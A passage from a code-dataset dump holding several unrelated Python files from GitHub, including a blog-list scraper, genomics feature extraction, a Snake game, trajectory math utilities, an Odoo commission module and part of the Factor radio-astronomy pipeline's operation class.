db_table = 'article_post_tag'\n# unique_together = (('post', 'tag'),)\n\n\n","repo_name":"cq152/blog","sub_path":"blog/article/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9448331379","text":"import os, sys, getopt\nimport re\nfrom bs4 import BeautifulSoup\nimport requests\nimport time\nimport cgi\nimport json\nimport pypinyin\nimport chardet\n\n# 读取中文博客列表清单,生成 Markdown 格式的列表\ndef get_html(url, method = \"requests\"):\n # config = self.read_config()\n my_cookie = ''\n\n my_headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Safari/605.1.15'\n }\n\n # if config['cookie']:\n # my_cookie = config['cookie']\n\n s = requests.session()\n s.keep_alive = False\n response = s.get(url, headers = my_headers, cookies = my_cookie)\n\n # 判断网页编码\n charset_data = chardet.detect( response.content )\n if charset_data['encoding'].lower() != response.encoding.lower():\n if charset_data['confidence'] > 0.9:\n # Reference : https://blog.csdn.net/weixin_45975639/article/details/123737275\n response.encoding = charset_data['encoding']\n else:\n charset = re.search(r'charset=[\"|\\'](.*?)[\"|\\']', response.text ).group(1).strip()\n # print(charset)\n if charset:\n response.encoding = charset\n\n\n return response.text\n\nfile_name = 'tech-blog-lists-cn.txt'\nfh = open(file_name, 'r', encoding='utf-8')\n\nmarkdown_text = ''\n\nline = fh.readline().strip()\nwhile line:\n # print(line)\n line = fh.readline().strip()\n if line:\n html = get_html(line)\n\n html_content = BeautifulSoup(html, 'html.parser')\n t_title = html_content.find_all('title')[0].get_text().strip()\n if t_title == '':\n t_title = line\n\n markdown_text += \"* [\" + t_title + \"](\" + line + \")\\n\"\n\nfh.close()\n\nprint(markdown_text)","repo_name":"cocowool/tech-blog-lists","sub_path":"blog_spider.py","file_name":"blog_spider.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31141303588","text":"from Utils import *\n# import pybedtools\nimport pandas as pd\nimport Utils\nimport sys\nimport pdb\n\nfrom common import readFileInTable, getOverlappedPeaks2, printDec\n\nprintDec(\"CalculateFeatures Start\")\n\ndata_dir = str(sys.argv[1])\nconfig_fp = str(sys.argv[2])\nshow_window_features = str(sys.argv[3])\n\n# -----------------------------------------------\n\n\ndef construct_intersection_header(peak_type, reg_type):\n header = []\n e_header = [\"chrom_E\", \"chromStart_E\", \"chromEnd_E\", \"name_E\", \"score_E\", \"strand_E\"] # \"signalValue_E\", \"pValue_E\", \"qValue_E\", \"peak_E\"]\n p_header = [\"chrom_P\", \"chromStart_P\", \"chromEnd_P\", \"name_P\", \"score_P\", \"strand_P\"] # \"signalValue_P\", \"pValue_P\", \"qValue_P\", \"peak_P\"]\n w_header = [\"chrom_W\", \"chromStart_W\", \"chromEnd_W\", \"name_W\"]\n narrow_header = [\"chrom_F\", \"chromStart_F\", \"chromEnd_F\", \"name_F\", \"score_F\", \"strand_F\", \"signalValue_F\", \"pValue_F\", \"qValue_F\", \"peak_F\"]\n broad_header = [\"chrom_F\", \"chromStart_F\", \"chromEnd_F\", \"name_F\", \"score_F\", \"strand_F\", \"signalValue_F\", \"pValue_F\", \"qValue_F\"]\n bed_header = [\"chrom_F\", \"chromStart_F\", \"chromEnd_F\", \"name_F\", \"strand_F\"]\n\n if (reg_type == 'E'):\n if (peak_type == \"broadPeak\"):\n header = e_header + broad_header\n elif (peak_type == \"narrowPeak\"):\n header = e_header + narrow_header\n elif (peak_type == \"bed\"):\n header = e_header + bed_header\n elif (reg_type == 'P'):\n if (peak_type == \"broadPeak\"):\n header = p_header + broad_header\n elif (peak_type == \"narrowPeak\"):\n header = p_header + narrow_header\n elif (peak_type == \"bed\"):\n header = p_header + bed_header\n elif (reg_type == 'W'):\n if (peak_type == \"broadPeak\"):\n header = w_header + broad_header\n elif (peak_type == \"narrowPeak\"):\n header = w_header + narrow_header\n elif (peak_type == \"bed\"):\n header = w_header + bed_header\n\n return header\n\n# -----------------------------------------------\n\n\ndef peak_file_characteristics(peak_fn):\n peak_type = \"\"\n if \"broadPeak\" in peak_fn:\n peak_type = \"broadPeak\"\n elif \"narrowPeak\" in peak_fn:\n peak_type = \"narrowPeak\"\n elif \"bed\" in peak_fn:\n peak_type = \"bed\"\n else:\n raise ValueError('The file format is not supported')\n\n feat_name = ''\n cell_name = ''\n splt = peak_fn.split('_')\n print(splt)\n if len(splt) == 4:\n feat_name = splt[2]\n cell_name = splt[1]\n\n return peak_type, feat_name, cell_name\n\n# -----------------------------------------------\n\n\ndef intersect_feat_reg(feat_fp, reg_fp, feat_name, peak_type, reg_type):\n\n data_feat = readFileInTable(feat_fp)\n data_reg = readFileInTable(reg_fp)\n\n intersection_headers = construct_intersection_header(peak_type, reg_type)\n intersection_df = []\n overlapped_indices = getOverlappedPeaks2(data_reg, data_feat)\n for i in sorted(overlapped_indices.keys()):\n reg = data_reg[i]\n for j in overlapped_indices[i]:\n intersection_df.append(reg + data_feat[j])\n\n return pd.DataFrame(intersection_df, columns=intersection_headers)\n\n # pybedtools removed\n '''\n reg_bt = pybedtools.BedTool(reg_fp)\n feat_bt = pybedtools.BedTool(feat_fp)\n try:\n intersection = reg_bt.intersect(feat_bt, wa=True, wb=True) \n intersection_header = construct_intersection_header(peak_type, reg_type)\n \n intersection_df = intersection.to_dataframe()\n intersection_df.columns = intersection_header\n except:\n\t pdb.set_trace() \n return intersection_df\n '''\n\n# -----------------------------------------------\n\n\ndef save_feature(intersection_df, reg_type, feats_dir, feat_name, cell_name):\n # reg_lb = 'E' if is_enhancer == True else 'P'\n f_name = 'name_' + reg_type\n feat_fp = \"%s/%s_%s_%s.csv\" % (feats_dir, cell_name, feat_name, reg_type)\n\n intersection_df['signalValue_F'] = intersection_df['signalValue_F'].astype('float64')\n grouped = intersection_df.loc[:, [f_name, 'signalValue_F']].groupby(f_name).mean()\n\n indexed_grp = grouped.add_suffix('_mean').reset_index()\n signals_df = indexed_grp[[f_name, \"signalValue_F_mean\"]]\n featColName = \"%s_%s\" % (feat_name, reg_type)\n signals_df.columns = [f_name, featColName]\n signals_df.to_csv(feat_fp, index=False)\n print(feat_fp)\n\n# -----------------------------------------------\n\n\ndef main():\n configs = Utils.read_config_file(config_fp)\n cell_names = configs['Cells'].split(',')\n features = configs['Features'].split(',')\n enhancers_dir = data_dir + \"/\" + configs['Enhancers_path']\n promoters_dir = data_dir + \"/\" + configs['Promoters_path']\n peaks_dir = data_dir + \"/FeaturesPeakFiles\"\n windows_dir = data_dir + \"/Windows\"\n temp_feats_dir = data_dir + \"/TempFeats\"\n Utils.make_dir_rename_if_exists(temp_feats_dir)\n\n print(cell_names)\n\n for cell_name in cell_names:\n peaks_path = \"%s/%s\" % (peaks_dir, cell_name)\n enhancer_fp = \"%s/enhancers\" % (enhancers_dir)\n promoter_fp = \"%s/promoters\" % (promoters_dir)\n window_fp = \"%s/%s_windows.intervals\" % (windows_dir, cell_name)\n feats_dir = \"%s/%s_temp_feats\" % (temp_feats_dir, cell_name)\n\n enhancer_feats_dir = \"%s/feats_E\" % (feats_dir)\n promoter_feats_dir = \"%s/feats_P\" % (feats_dir)\n window_feats_dir = \"%s/feats_W\" % (feats_dir)\n Utils.make_dir_rename_if_exists(feats_dir)\n Utils.make_dir_rename_if_exists(enhancer_feats_dir)\n Utils.make_dir_rename_if_exists(promoter_feats_dir)\n Utils.make_dir_rename_if_exists(window_feats_dir)\n files = os.listdir(peaks_path)\n\n for fn in files:\n if not os.path.isfile(os.path.join(peaks_path, fn)):\n continue\n\n peak_type, feat_name, cell_name = peak_file_characteristics(fn)\n\n if feat_name not in features:\n continue\n\n feat_fp = \"%s/%s\" % (peaks_path, fn)\n\n # Enhancer\n intersection_df = intersect_feat_reg(feat_fp, enhancer_fp, feat_name, peak_type, reg_type='E')\n save_feature(intersection_df, 'E', enhancer_feats_dir, feat_name, cell_name)\n\n # Promoter\n intersection_df = intersect_feat_reg(feat_fp, promoter_fp, feat_name, peak_type, reg_type='P')\n save_feature(intersection_df, 'P', promoter_feats_dir, feat_name, cell_name)\n\n if show_window_features == \"1\":\n # Window\n intersection_df = intersect_feat_reg(feat_fp, window_fp, feat_name, peak_type, reg_type='W')\n save_feature(intersection_df, 'W', window_feats_dir, feat_name, cell_name)\n\n printDec(\"CalculateFeatures End\")\n\n\nmain()\n","repo_name":"amlantalukder/EPIP","sub_path":"Codes.ExtractFeatures/CalculateFeatures.py","file_name":"CalculateFeatures.py","file_ext":"py","file_size_in_byte":6787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3965820770","text":"import time\r\nfrom turtle import Turtle\r\n\r\nSTART_POS = [(0, 0), (-20, 0), (-40, 0)]\r\nDISTANCE = 20\r\nUP = 90\r\nDOWN = 270\r\nLEFT = 180\r\nRIGHT = 0\r\n\r\n\r\nclass Snake:\r\n def __init__(self):\r\n self.default = None\r\n self.head = None\r\n self.snakes = []\r\n \r\n self.create_snake()\r\n\r\n def create_snake(self):\r\n for position in START_POS:\r\n self.add_segment(position)\r\n self.head = self.snakes[0]\r\n\r\n def add_segment(self, position):\r\n new_snake = Turtle(shape='square')\r\n new_snake.penup()\r\n new_snake.color('white')\r\n new_snake.goto(position)\r\n self.snakes.append(new_snake)\r\n\r\n def reset(self):\r\n\r\n for snake in self.snakes:\r\n snake.goto(10000, 0)\r\n self.snakes = []\r\n self.create_snake()\r\n time.sleep(1)\r\n self.head = self.snakes[0]\r\n\r\n def extend(self):\r\n self.add_segment(self.snakes[-1].pos())\r\n\r\n def move(self):\r\n for element in range(len(self.snakes)-1, 0, -1):\r\n new_position = self.snakes[element-1].pos()\r\n self.snakes[element].goto(new_position)\r\n self.head.forward(DISTANCE)\r\n\r\n def up(self):\r\n if self.head.heading() != DOWN:\r\n self.head.setheading(UP)\r\n\r\n def down(self):\r\n if self.head.heading() != UP:\r\n self.head.setheading(DOWN)\r\n\r\n def left(self):\r\n if self.head.heading() != RIGHT:\r\n self.head.setheading(LEFT)\r\n\r\n def right(self):\r\n if self.head.heading() != LEFT:\r\n self.head.setheading(RIGHT)\r\n","repo_name":"amalraj28/snake_game","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"30052773732","text":"# import os\n# import time\n# import json\n# import base64\n# import requests\n#\n# dir = 'pdfs'\n# file = '1ParaOS-Gairon.pdf'\n# file_path = os.path.join(os.getcwd(), dir, file)\n# topath = os.path.join(os.getcwd(), dir, 'output.pdf')\n# def get_base64str(file_path):\n# \"\"\"获取base64位字符串\n# bytes字节 -->base64字节 --> base64字符串\n# \"\"\"\n# str_base64 = None\n# with open(file_path,'rb') as f:\n# bytes_base64 = base64.b64encode(f.read())\n# str_base64 = bytes_base64.decode('utf-8')\n# print(str_base64.encode(\"utf-8\"))\n# assert str_base64 is not None\n# return str_base64\n#\n# def save_file(str_base64,topath):\n# \"\"\"将base64还原存储为文件,\n# 查看文件是否能正常打开,\n# 以确认编码正确.\n# \"\"\"\n# bytes_base64 = str_base64.encode('utf-8')\n# with open(topath,'wb') as f:\n# _bytes = base64.b64decode(bytes_base64)\n# f.write(_bytes)\n#\n#\n# str_base64 = get_base64str(file_path)\n#\n# save_file(str_base64, topath)\n\n\nimport sqlite3\n\nmyDatabase = sqlite3.connect('LogDB.db')\ncu = myDatabase.cursor()\n# cu.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\n# Tables = cu.fetchall() # Tables 为元组列表\n#\n# Tables = [line[0] for line in Tables]\n# print('accesslog' not in Tables)\n# myDatabase.close()\n# cu.execute(\"CREATE TABLE accesslog (id INTEGER PRIMARY KEY, time DEFAULT CURRENT_TIMESTAMP, userid INTEGER, contentname VARCHAR(100))\")\n\n# cu.execute('INSERT INTO accesslog (userid, contentname) VALUES (?, ?)', (userid, contentname))\n\n# myDatabase.commit()\n\n#\ndef selectFonction():\n cursor = cu.execute(\"SELECT id, userid, contentname, time from accesslog\")\n for row in cursor:\n print('id = ', row[0])\n print('useid = ', row[1])\n print('contentname = ', row[2])\n print('time = ', row[3])\n\nselectFonction()\n\nmyDatabase.close()","repo_name":"ahqs555/pdf_rush","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70840774348","text":"import numpy as np\nfrom scipy.spatial.transform import Rotation as R\n\n# Input: pose, a 4x4 matrix representing RT4 = R4.dot(T4), first translate then rotate\n# Output: a vector of [tx ty tz qx qy qz qw] to represent the pose from trajectory\ndef matrix_to_trajectory(RT4):\n # 3x3 R\n R3 = RT4[:3,:3]\n\n # 3x1 RT\n RT3 = RT4[:3,3:4]\n\n # 3x1 T\n T3 = np.linalg.inv(R3).dot(RT3)\n\n trajectory = np.zeros(7)\n\n # Update translation\n trajectory[:3] = T3.reshape((3))\n\n # Update rotation\n trajectory[3:7] = R.from_matrix([R3]).as_quat().reshape(4)\n\n return trajectory\n\n\n# Input: a vector of [tx ty tz qx qy qz qw] to represent the pose\n# Output: pose from trajectory, a 4x4 matrix representing RT4 = R4.dot(T4), first translate then rotate\ndef trajectory_to_matrix(trajectory):\n # 3x1 T\n T3 = trajectory[:3].reshape((3, 1))\n\n # 3x3 R\n R3 = R.from_quat([trajectory[3:7]]).as_matrix()\n\n # 3x1 RT\n RT3 = R3.dot(T3)\n\n # 4x4 R and T transition matrix\n RT4 = np.zeros((4, 4))\n RT4[3][3] = 1\n RT4[:3,:3] = R3\n RT4[:3,3:4] = RT3\n\n return RT4\n\n\ndef convert_line_to_floats(line):\n assert(line)\n assert(len(line) > 0)\n results = np.zeros(len(line))\n\n for i in range(len(line)):\n number_as_str = line[i]\n results[i] = float(number_as_str)\n return results\n\n\n# timestamps: the list of gt timestamps to be searched on\n# timestamp: the query timestamp\n# return: whether success, the index of the timestamp in the list larger than the query timestamp\ndef search_timestamp(timestamps, timestamp):\n idx = np.searchsorted(timestamps, timestamp)\n if (idx < 1 or idx >= len(timestamps)):\n print(\"Timestamp out of range\")\n return False, -1\n return True, idx\n\n\n# given the timestamp and the gt trajectory, interpolate the pose at the given timestampe\n# return whether success and the interpolated pose\ndef interpolate_pose(gt_list, timestamps, timestamp):\n success, idx = search_timestamp(timestamps, timestamp)\n if not success:\n return success, None\n interval = timestamps[idx] - timestamps[idx-1]\n alpha = (timestamp - timestamps[idx-1]) / interval\n\n pose1 = gt_list[timestamps[idx-1]]\n pose2 = gt_list[timestamps[idx]]\n pose = pose1 + (pose2 - pose1) * alpha\n\n return success, pose\n","repo_name":"YHHHCF/KinectFusion","sub_path":"data/trajprocessor.py","file_name":"trajprocessor.py","file_ext":"py","file_size_in_byte":2302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29408655842","text":"# -*- coding: utf-8 -*-\n\nfrom datetime import timedelta, date, datetime\nfrom odoo import api, fields, models, tools, _\nimport calendar\nfrom odoo.exceptions import UserError, ValidationError\nfrom collections import Counter\n\n\nclass CalculateCommissionCollections(models.TransientModel):\n _inherit = 'create.commission.wiz'\n\n def generate_commission(self, commission_datain):\n\n collections = self.generate_colletions_commission()\n commission_data = Counter(collections) + commission_datain\n super(CalculateCommissionCollections, self).generate_commission(commission_data)\n\n\n def generate_colletions_commission(self):\n start, end = self.get_start_end_date()\n user_data = {}\n user_total = {}\n is_commisson_created = False\n comm_cal_on = self.env.user.company_id.comm_cal_on\n config_ids = self.env['nati.collection.commission'].search([])\n config_id = self.env['nati.collection.commission'].search([], order='id desc', limit=1)\n\n if not config_ids:\n raise ValidationError(\n _(\"Please Set Colliction Commission Configuration From Commissions -> Configuration -> Collection Commission.\"))\n\n payments = self.env['account.payment'].search([\n ('date', '>=', str(start)),\n ('date', '<=', str(end)),\n ('partner_type', '=', 'customer'),\n ('state', 'not in', ['draft', 'cancelled']),\n ])\n tax = (self.env.user.company_id.account_sale_tax_id.amount+100)/100\n for pymt in payments:\n if pymt.partner_id:\n if pymt.sale_ref:\n\n if pymt.sale_ref[0].collector_id:\n user=pymt.sale_ref[0].collector_id\n else:\n user = pymt.partner_id.collector_id\n if user:\n uid = user.id\n collections_total = pymt.amount\n if comm_cal_on == 'untaxed':\n # this tax want to get from setting this is temporary only\n collections_total = pymt.amount / tax\n\n notfound = True\n for conf_id in config_ids:\n if user in conf_id.partner_ids:\n config_id = conf_id\n notfound = False\n break\n\n if notfound:\n for conf_id in config_ids:\n if not conf_id.partner_ids:\n config_id = conf_id\n break\n if uid in user_data.keys():\n user_total[uid] += collections_total\n user_data[uid].update({\n 'name': user.name,\n 'partner': user,\n 'collections_total': user_data[uid].get('collections_total') + collections_total,\n 'config_id': config_id if config_id else user_data[uid].get('config_id'),\n })\n else:\n user_total.update({\n uid: collections_total\n })\n user_data.update({\n uid: {\n 'name': user.name,\n 'partner': user,\n 'collections_total': collections_total,\n 'config_id': config_id,\n }\n })\n\n for usr in user_data:\n line = user_data[usr]\n partner = line.get('partner')\n collections_total = line.get('collections_total')\n config_id = line.get('config_id')\n\n w_amt = collections_total\n\n prev_comm = self.env['commission.base'].search([\n ('from_date', '=', start), ('commission_type', '=', 'collections'),\n ('to_date', '=', end), ('sales_partner', '=', partner.id),\n ('state', 'in', ['invoiced', 'paid']),\n ])\n\n if prev_comm:\n return {}\n\n prev_comm = self.env['commission.base'].search([\n ('from_date', '=', start), ('commission_type', '=', 'collections'),\n ('to_date', '=', end), ('sales_partner', '=', partner.id),\n ('state', 'in', ['draft', 'waiting']),\n ])\n\n if prev_comm:\n prev_comm.unlink()\n\n\n if config_id:\n for c_line in config_id.commission_ids:\n commission = 0.0\n if (c_line.start_qty <= w_amt and w_amt <= c_line.end_qty) and (\n c_line.start_qty <= collections_total and collections_total <= c_line.end_qty):\n commission = w_amt * c_line.ratio / 100\n w_amt = 0\n elif c_line.end_qty <= collections_total and c_line.end_qty <= w_amt:\n gap = c_line.end_qty - c_line.start_qty + 1\n commission = gap * c_line.ratio / 100\n w_amt = w_amt - gap\n\n elif (c_line.start_qty <= w_amt and w_amt <= c_line.end_qty) and c_line.end_qty <= collections_total:\n gap = c_line.end_qty - c_line.start_qty + 1\n commission = gap * c_line.ratio / 100\n w_amt = w_amt - gap\n\n elif w_amt < c_line.start_qty and w_amt < c_line.end_qty and c_line.end_qty <= collections_total:\n gap = c_line.end_qty - c_line.start_qty + 1\n commission = gap * c_line.ratio / 100\n w_amt = w_amt - gap\n elif w_amt < c_line.start_qty and w_amt < c_line.end_qty and (\n c_line.start_qty <= collections_total and collections_total <= c_line.end_qty):\n commission = w_amt * c_line.ratio / 100\n w_amt = 0\n\n else:\n pass\n\n if commission > 0:\n self.env['commission.base'].create({\n 'commission_date': datetime.today().date(),\n 'from_date': start,\n 'to_date': end,\n 'sales_partner': partner.id,\n 'amount': commission,\n 'state': 'draft',\n 'comm_rate': c_line.ratio,\n 'commission_type': 'collections',\n 'comm_total': collections_total,\n })\n is_commisson_created = True\n\n if is_commisson_created:\n return user_total\n else:\n return {}\n\n","repo_name":"abdulrhmans/mypay","sub_path":"nati_commission_collections_pro/models/calculate_commission.py","file_name":"calculate_commission.py","file_ext":"py","file_size_in_byte":7104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"41487778037","text":"\"\"\"\nGeneral operation library\n\nContains the master class for all operations\n\"\"\"\nimport os\nimport logging\nimport socket\nimport subprocess\nimport numpy as np\nimport sys\nimport uuid\nfrom factor import _logging\nfrom jinja2 import Environment, FileSystemLoader\nfrom lofarpipe.support.utilities import create_directory\n\nDIR = os.path.dirname(os.path.abspath(__file__))\nenv_parset = Environment(loader=FileSystemLoader(os.path.join(DIR, '..', 'pipeline',\n 'parsets')))\nenv_config = Environment(loader=FileSystemLoader(os.path.join(DIR, '..', 'pipeline')))\n\n\nclass Operation(object):\n \"\"\"\n Generic operation class\n\n An operation is simply a generic pipeline that performs a part of the facet\n calibration. The corresponding operation object holds the pipeline settings,\n populates the pipeline config and parset templates, and updates the direction\n object with variables needed by later operations.\n\n Parameters\n ----------\n parset : dict\n Parset of operation\n bands : list of Band objects\n Bands for this operation\n direction : Direction object\n Direction for this operation\n name : str, optional\n Name of the operation\n\n \"\"\"\n def __init__(self, parset, bands, direction, name=None):\n self.parset = parset.copy()\n self.bands = bands\n self.name = name.lower()\n self.parset['op_name'] = name\n self.direction = direction\n _logging.set_level(self.parset['logging_level'])\n self.log = logging.getLogger('factor:{0}'.format(self.name))\n self.hostname = socket.gethostname()\n self.node_list = parset['cluster_specific']['node_list']\n\n # Working directory\n self.factor_working_dir = parset['dir_working']\n\n # Pipeline runtime and working dirs (pipeline makes subdir here with\n # name of direction)\n self.pipeline_runtime_dir = os.path.join(self.factor_working_dir, 'results',\n self.name)\n self.pipeline_working_dir = self.pipeline_runtime_dir\n create_directory(self.pipeline_runtime_dir)\n\n # Directory that holds the mapfiles\n self.pipeline_mapfile_dir = os.path.join(self.pipeline_runtime_dir,\n self.direction.name, 'mapfiles')\n create_directory(self.pipeline_mapfile_dir)\n\n # Directory in the runtime dir that holds parset and config files (also\n # the results of the pipeline)\n self.pipeline_parset_dir = os.path.join(self.pipeline_runtime_dir,\n self.direction.name)\n create_directory(self.pipeline_parset_dir)\n\n # Directory that holds the mapfiles\n self.pipeline_mapfile_dir = os.path.join(self.pipeline_runtime_dir,\n self.direction.name, 'mapfiles')\n create_directory(self.pipeline_mapfile_dir)\n\n # Local scratch directories and corresponding node recipes\n scratch_subdir = '{0}_{1}'.format(self.direction.name,\n str(uuid.uuid4().get_hex()[0:6]))\n if self.parset['cluster_specific']['dir_local'] is None:\n # Not specified\n self.local_scratch_dir = None\n self.local_dir_parent = None\n self.dppp_nodescript = 'executable_args'\n elif self.parset['cluster_specific']['clusterdesc_file'].lower() == 'pbs':\n # PBS: use special DPPP node script\n self.local_scratch_dir = os.path.join(\n self.parset['cluster_specific']['dir_local'], scratch_subdir)\n self.local_dir_parent = self.parset['cluster_specific']['dir_local']\n self.dppp_nodescript = 'dppp_scratch'\n elif self.parset['cluster_specific']['clusterdesc_file'].lower() == 'slurm':\n # SLURM: use special DPPP node script\n self.local_scratch_dir = os.path.join(\n self.parset['cluster_specific']['dir_local'], scratch_subdir)\n self.local_dir_parent = self.parset['cluster_specific']['dir_local']\n self.dppp_nodescript = 'dppp_scratch'\n else:\n # other: use given scratch directory and standard node script\n self.local_scratch_dir = os.path.join(\n self.parset['cluster_specific']['dir_local'], scratch_subdir)\n self.local_dir_parent = self.parset['cluster_specific']['dir_local']\n self.dppp_nodescript = 'executable_args'\n if self.parset['cluster_specific']['dir_local_selfcal'] is None:\n self.local_selfcal_scratch_dir = None\n else:\n self.local_selfcal_scratch_dir = os.path.join(\n self.parset['cluster_specific']['dir_local_selfcal'], scratch_subdir)\n\n # Directory that holds logs in a convenient place\n self.log_dir = os.path.join(self.factor_working_dir, 'logs', self.name)\n create_directory(self.log_dir)\n\n # Log name used for logs in log_dir\n self.logbasename = os.path.join(self.log_dir, self.direction.name)\n\n # Below are paths for scripts, etc. in the Factor install directory\n self.factor_root_dir = os.path.split(DIR)[0]\n self.factor_pipeline_dir = os.path.join(self.factor_root_dir, 'pipeline')\n self.factor_script_dir = os.path.join(self.factor_root_dir, 'scripts')\n self.factor_parset_dir = os.path.join(self.factor_root_dir, 'parsets')\n self.factor_skymodel_dir = os.path.join(self.factor_root_dir, 'skymodels')\n\n # Below are the templates and output paths for the pipeline parset and\n # config files. These may need to be re-defined in the subclasses\n # if the operation has non-standard template names\n self.pipeline_parset_template = '{0}_pipeline.parset'.format(self.name)\n self.pipeline_parset_file = os.path.join(self.pipeline_parset_dir,\n 'pipeline.parset')\n self.pipeline_config_template = 'pipeline.cfg'\n self.pipeline_config_file = os.path.join(self.pipeline_parset_dir,\n 'pipeline.cfg')\n\n # Define parameters needed for the pipeline config.\n self.cfg_dict = {'lofarroot': parset['cluster_specific']['lofarroot'],\n 'pythonpath': parset['cluster_specific']['lofarpythonpath'],\n 'factorroot': self.factor_root_dir,\n 'pipeline_working_dir': self.pipeline_working_dir,\n 'pipeline_runtime_dir': self.pipeline_runtime_dir,\n 'wsclean_executable': parset['wsclean_executable'],\n 'image2fits_executable': parset['image2fits_executable'],\n 'h5collector_executable': parset['h5collector_executable'],\n 'DPPP_executable': parset['DPPP_executable'],\n 'dppp_nodescript': self.dppp_nodescript}\n\n # Define global parameters needed by all pipeline parsets. Other,\n # pipeline-specific, parameters should be defined in the subclasses by\n # updating this dictionary\n self.parms_dict = {'parset_dir': self.factor_parset_dir,\n 'skymodel_dir': self.factor_skymodel_dir,\n 'mapfile_dir': self.pipeline_mapfile_dir,\n 'pipeline_dir': self.factor_pipeline_dir,\n 'script_dir': self.factor_script_dir,\n 'local_dir': self.local_scratch_dir,\n 'local_dir_parent': self.local_dir_parent,\n 'selfcal_local_dir': self.local_selfcal_scratch_dir,\n 'pipeline_parset_dir': self.pipeline_parset_dir,\n 'hosts': self.node_list}\n\n # Add cluster-related info\n if self.parset['cluster_specific']['clustertype'] == 'local':\n self.cfg_dict['remote'] = '[remote]\\n'\\\n + 'method = local\\n'\\\n + 'max_per_node = {0}\\n'.format(self.parset['cluster_specific']['ncpu'])\n elif self.parset['cluster_specific']['clustertype'] == 'juropa_slurm':\n self.cfg_dict['remote'] = '[remote]\\n'\\\n + 'method = slurm_srun\\n'\\\n + 'max_per_node = {0}\\n'.format(self.parset['cluster_specific']['ncpu'])\n elif self.parset['cluster_specific']['clustertype'] == 'mpirun':\n self.cfg_dict['remote'] = '[remote]\\n'\\\n + 'method = mpirun\\n'\\\n + 'max_per_node = {0}\\n'.format(self.parset['cluster_specific']['ncpu'])\n elif (self.parset['cluster_specific']['clustertype'] == 'pbs' or\n self.parset['cluster_specific']['clustertype'] == 'slurm'):\n self.cfg_dict['remote'] = ''\n else:\n self.log.error('Could not determine the nature of your cluster!')\n sys.exit(1)\n\n # an absolute path in ...['clusterdesc'] will overrule the \"working_dir\"\n self.cfg_dict['clusterdesc'] = os.path.join(self.factor_working_dir,\n self.parset['cluster_specific']['clusterdesc'])\n\n\n def update_dicts(self):\n \"\"\"\n Update the dicts used for the pipeline parset templates\n \"\"\"\n self.cfg_dict.update(self.direction.__dict__)\n self.parms_dict.update(self.direction.__dict__)\n\n\n def setup(self):\n \"\"\"\n Set up this operation\n\n This involves just filling the pipeline config and parset templates.\n Generally, this does not need to be re-defined in the subclasses\n unless the operation has non-standard template names\n \"\"\"\n # Update the dictionaries with the attributes of the operation's\n # direction object. Any attributes set in the direction object that are\n # also in the parms_dict will be set to those of the direction object\n # (e.g., 'max_proc_per_node', which is set in the direction object by\n # factor.cluster.divide_nodes() will override the value set above)\n self.update_dicts()\n\n self.pipeline_parset_template = env_parset.get_template(self.pipeline_parset_template)\n tmp = self.pipeline_parset_template.render(self.parms_dict)\n with open(self.pipeline_parset_file, 'w') as f:\n f.write(tmp)\n\n self.pipeline_config_template = env_config.get_template(self.pipeline_config_template)\n tmp = self.pipeline_config_template.render(self.cfg_dict)\n with open(self.pipeline_config_file, 'w') as f:\n f.write(tmp)\n\n\n def finalize(self):\n \"\"\"\n Finalize this operation\n\n This should be defined in the subclasses if needed\n \"\"\"\n pass\n\n\n def check_started(self):\n \"\"\"\n Checks whether operation has been started (but not necessarily\n completed) before for this direction\n\n Returns\n -------\n all_done : bool\n True if operation was started on this direction\n\n \"\"\"\n has_state = self.direction.load_state()\n if has_state:\n if self.name in self.direction.started_operations:\n return True\n else:\n return False\n else:\n return False\n\n\n def check_completed(self):\n \"\"\"\n Checks whether operation has been run successfully before for this\n direction\n\n Returns\n -------\n all_done : bool\n True if operation was successfully run on this direction\n\n \"\"\"\n has_state = self.direction.load_state()\n if has_state:\n if self.name in self.direction.completed_operations:\n return True\n else:\n return False\n else:\n return False\n\n\n def set_started(self):\n \"\"\"\n Sets the started state for the operation\n \"\"\"\n if self.name not in self.direction.started_operations:\n self.direction.started_operations.append(self.name)\n self.direction.save_state()\n\n\n def set_completed(self):\n \"\"\"\n Sets the completed state for the operation\n \"\"\"\n if self.name not in self.direction.completed_operations:\n self.direction.completed_operations.append(self.name)\n self.direction.save_state()\n\n\n def check_existing_files(self, mapfile):\n \"\"\"\n Checks if files in input mapfile exist\n\n Parameters\n ----------\n mapfile : str\n Filename of mapfile to check\n\n Returns\n -------\n all_exist : bool\n True if all files in mapfile exist, False if not\n\n \"\"\"\n from lofarpipe.support.data_map import DataMap\n\n all_exist = True\n self.log.debug('Checking for existing files...')\n try:\n datamap = DataMap.load(mapfile)\n for item in datamap:\n # Handle case in which item.file is a Python list\n if item.file[0] == '[' and item.file[-1] == ']':\n files = item.file.strip('[]').split(',')\n else:\n files = [item.file]\n for f in files:\n if not os.path.exists(f):\n all_exist = False\n if all_exist:\n self.log.debug('...all files exist')\n else:\n self.log.debug('...one or more files not found')\n return all_exist\n except IOError:\n self.log.debug('Could not read mapfile {}. Skipping it'.format(mapfile))\n return False\n\n\n def can_restart(self):\n \"\"\"\n Checks the pipeline log for certain conditions that affect auto restarting\n\n Returns\n -------\n can_restart : bool\n True if pipeline log indicates an error for which auto restart is\n possible\n\n \"\"\"\n logfile = self.logbasename + '.out.log'\n can_restart = False\n if os.path.exists(logfile):\n # Read the last 20 lines and look for 'returncode 123456'\n try:\n with open(logfile, \"rb\") as f:\n first = f.readline() # Read the first line.\n f.seek(-10000, 